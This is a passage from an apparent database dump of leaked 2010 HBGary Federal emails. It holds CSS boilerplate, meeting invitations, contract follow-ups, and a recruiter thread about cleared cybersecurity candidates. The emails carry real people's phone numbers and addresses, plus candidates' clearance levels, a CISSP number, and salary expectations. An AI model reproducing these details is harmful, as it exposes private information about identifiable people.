1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',4990,'aaron_hbgary_com/4990.html'),(10599,'2010-08-19','arc@westfields.net','/aaron@hbgary.com/new/1297008204.M265393P14101Q5455.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Wednesday, 08/18/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO-Caprrica (Announcement)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13680,'aaron_hbgary_com/13680.html'),(10600,'2010-08-19','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297008204.M466120P14101Q5456.eml','aaron@hbgary.com','Out of Office AutoReply: Accepted: Opportunities Discussion w/HBGary Federal & ManTech MCTS ... @ Thu Aug 19 3pm - 4:30pm (bill.varner@mantech.com)','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Accepted: Opportunities Discussion w/HBGary Federal &amp; ManTech MCTS ... @ Thu Aug 19 3pm - 4:30pm (bill.varner@mantech.com)\r\n\r\n\r\n\r\n\r\nI am out of the office until Friday, 8/20.&nbsp; If you need immediate assistance on Wednesday, 8/18, please contact Dawn Topper at (703) 610-9262 or at Dawn.Topper@ManTech.com, otherwise, I will respond to your message on Thursday, 8/19, while working remotely.&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nThank you,\r\n\r\nDana M. Briggs\r\nExecutive Assistant to\r\nL. William Varner, President\r\nMission, Cyber &amp; Technology Solutions Group\r\n\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171\r\n(703) 674-2626 - phone\r\nDana.Briggs@ManTech.com\r\n\r\n\r\n\r\n\r\n',7034,'aaron_hbgary_com/7034.html'),(10601,'2010-08-19','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297008204.M63290P14101Q5454.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Gates, Tiffanny L\" <Tiffanny.Gates@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>,penny@hbgary.com,\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Gates, Tiffanny L\" <Tiffanny.Gates@ManTech.com>','Opportunities Discussion w/HBGary Federal & ManTech MCTS (Leavy & Barr/Varner, Gates & Frisbie)','\r\n\r\n\r\n\r\n\r\nOpportunities Discussion w/HBGary Federal &amp; ManTech MCTS (Leavy &amp; Barr/Varner, Gates &amp; Frisbie)\r\n\r\n\r\n\r\n\r\nWhen: Thursday, August 19, 2010 3:00 PM-4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: ManTech MCTS - 2250 Corporate Park Dr. #500, Herndon, VA&nbsp; 20171 - Exec CR\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nHi All,\r\n\r\nThis is a follow-up discussion to Aaron&#8217;s meeting today with Bill and Tiffanny.\r\n\r\nSincerely,\r\n\r\n\r\n\r\nDana M. Briggs\r\n\r\nExecutive Assistant to\r\n\r\nL. William Varner, President\r\n\r\nMission, Cyber &amp; Technology Solutions Group\r\n\r\nManTech International Corporation\r\n\r\n2250 Corporate Park Drive, Suite 500\r\n\r\nHerndon, VA 20171 \r\n\r\n(703) 674-2626 - phone\r\n\r\n(571) 485-2362 - e-fax\r\n\r\nDana.Briggs@ManTech.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10795,'aaron_hbgary_com/10795.html'),(10602,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008204.M686856P14101Q5457.eml','\"Ted Vera\" <ted@hbgary.com>','iCal event: LANL / HbGary / Agilex telecom','Just realized you werent on the distro for this for some reason.\r\n\r\nAaron Barr informs you of the event: LANL / HbGary / Agilex telecom, scheduled for August 19, 2010 at 7:00 PM. To add it to your calendar, click the link below.',14487,'aaron_hbgary_com/14487.html'),(10603,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008204.M966214P14101Q5458.eml','\"Ray Owen\" <ray.owen@farallon-research.com>','Re: Call','Hi Ray,Any further information on this effort?AaronOn Aug 7, 2010, at 9:51 PM, Ray Owen wrote:\r\n\r\nAaron,\r\n\r\nWe will send out a formal request tomorrow morning, with instructions.\r\n\r\nWe\'re not completely sure on the start date, because we have to get the\r\nfunding flow going first. Maybe as early as 1 Sept, but probably late\r\nthat month. We will subcontract as soon as we have a valid Farallon\r\ncontract, which should be later this month.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 8/7/2010 10:02 AM, Aaron Barr wrote:\r\n\r\n  Nate,\r\n\r\nBased on note below we might not need a call.  We are excited about the work and commit to the work and scope as outlined.  Just a few questions.\r\n\r\n1. How would you like us to formally commit.\r\n2. What is the anticipated start date and when could we expect a subcontract agreement.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 7, 2010, at 12:46 PM, Nathan Atherley wrote:\r\n\r\n  \r\n  \r\n    Yes, can we do it later?  I am going to be gone until about 3-4 PST.  You can give me a call, though I doubt I will tell you much more than I am going to now.\r\n\r\nWe would just like you to commit to the work scope for HBGary\'s piece of CID-1.  We need to commit Farallon for CID-1 soon and would like to make sure that we are all on the same page onto what is required.\r\n\r\nRay is diving today, but probably can be reached later today at 650-464-5570.  My number is 719-321-6135\r\n\r\nNathan\r\n\r\n\r\n\r\nOn 8/7/2010 9:25 AM, aaron@hbgary.com wrote:\r\n    \r\n    \r\n      Nate,\r\n\r\nCan we set up a call today to discuss exactly what we need to produce by monday.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n      \r\n    \r\n  \r\n  Aaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n\r\n\r\n\r\n',12259,'aaron_hbgary_com/12259.html'),(10604,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008205.M245006P14101Q5459.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: CRAP!','Wow again I am sorry, I was looking forward to the opportunity to sit down with Byron and talk cyber, I think it could have been a great conversation. &nbsp;If there is ever another opportunity I would jump at it. &nbsp;I just can\'t cancel on the INSCOM guys I am pretty sure they are going to buy some services and training for social media and I told them I already would assist in their training on that day.AaronOn Aug 18, 2010, at 5:19 PM, Maria Lucas wrote:Penny\r\n&nbsp;\r\nOn September 9th we have a meeting scheduled with the US-CERT Byron Copeland who reports to Randy Vickers to present the Threat Management Center -- Aaron originally was attending but has a conflict.\r\n&nbsp;\r\nA good plan would be to have Bob, Rich or Phil onsite with Greg providing a Webex presentation / Q&amp;A.\r\n&nbsp;\r\nPlease advise who should be onsite and confirm that we can schedule Greg for the technical side.&nbsp; The meeting is 7:30 am pacific.\r\n&nbsp;\r\nMaria\r\nOn Wed, Aug 18, 2010 at 2:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nYes.Sent from my iPhone\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 4:53 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron what is this about????&nbsp; Are you talking about the September meeting with Byron Copeland?\r\nOn Wed, Aug 18, 2010 at 11:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI hadn\'t put it on my calendar, I missed it, but I already agreed to do social media training for INSCOM on the same day and time as the US-CERT meeting. &nbsp;I am very sorry I missed that. &nbsp;They can\'t move the training as I am being brought in to their overall 2 day training program.\r\nSuggestions?Aaron -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',11073,'aaron_hbgary_com/11073.html'),(10605,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008205.M453747P14101Q5460.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: IA Spaekers','BIO:CEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp; Previously served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. &nbsp;I have been a panelist and given speeches on cybersecurity, social media, and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.AaronOn Aug 18, 2010, at 3:31 PM, Kirby Kintner wrote:DMI is looking &nbsp;for members of our ITSSS advisory board – 1 person from each company.&nbsp; The names submitted should be “Industry Recognized Experts and experienced Public Speakers” .&nbsp; They will be expected to provide 1 speaking engagement at TSA per year under the training program and will meet quarterly as part of the advisory board.&nbsp;I’d like a name and 2-3 sentence bio for each candidate emphasizing the individual’s field of expertise.&nbsp;&nbsp;I’d like to get this by tomorrow noon if possible.&nbsp;Thanx - KJK',7715,'aaron_hbgary_com/7715.html'),(10606,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008209.M747303P14101Q5461.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: Cyber Recruits!','Hi Ed,I didn\'t see a fee agreement attached, did I miss it?AaronOn Aug 18, 2010, at 1:56 PM, Ed Wallach wrote:Hi Aaron,Here\'s my fee agreement for your review and signature. No fees are due until someone reports for work! Then I split the payment in 2. one when they start, the other 30 days later.here\'s the info on both...am getting more resumes together tp send you for review....edCandidate 1 only has a CI poly. He will commute for the right opportunity. he\'s getting out of the navy and wants more challenging work. (Yes I am currently enlisted in the US Navy on active duty since 2000. &nbsp;My separation date is November 4, 2010. &nbsp;I intend to use my current balance of leave to take October off. &nbsp;This allows me to begin full time employment a month early. &nbsp;Let me know if you have any other questions. &nbsp;Thank you.) He\'s making hi 70\'s in the navy but has a few contingent offers in the 130K range... I have him interviewing with SI Government solutions, a raytheon co. this week...candidate 2 in his own words:&nbsp;&nbsp;I am interested in moving into the area of forensics and network analysis.&nbsp; This position looks as though it requires more technical and engineering experience than I currently have.&nbsp; I am interested in moving into a intrusion detection and incident response position.&nbsp; I perform vulnerability assessment and worked in security documentation prior to that.&nbsp; I just received my CISSP in May and am very interested in moving into more of a analysis and investigative position.&nbsp; Does your company have any positions in that area of InfoSec? &nbsp;he would certainly entertain the idea of relocating, but only temporarily. That would not be his first choice though, He owns a house in Baltimore County and would like to stay in the Ft. Meade area or in&nbsp;the&nbsp;Baltimore/Washington area. He has received a contingent from another company&nbsp;for 125K, 6 weeks PTO and 10 Federal holidays, but he is waiting to hear more on the offer. So he is looking to&nbsp;make 125K, based on his current&nbsp;compensation package and the contingent.&nbsp;On Aug 18, 2010, at 12:52 PM, Aaron Barr wrote:ok so the second resume fits the clearance bill, experience is a bit junior but might work, let me as the prime some questions. &nbsp;What type of salary is person looking for?The first resume has the right skills but for MD not the right clearances. &nbsp;Is he willing to commute at all? &nbsp;I could probably place him on ESOC. &nbsp;Salary might be bit high though have to check.AaronOn Aug 18, 2010, at 10:23 AM, Ed Wallach wrote:Hi Aaron,I\'m available this week to discuss recruiting for HB Gary.We have a number of highly qualified candidates we have recruited for our other clients. These include VR, Ethical hacking, Pen Testing, reverse engineering, most with at least a ts/sci and some with fullscope polys.My office is right near montgomery mall.I\'m ready to roll when you are!Edhere\'s a few samples below:1)candidate 1Lives in MDDesires $120K MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 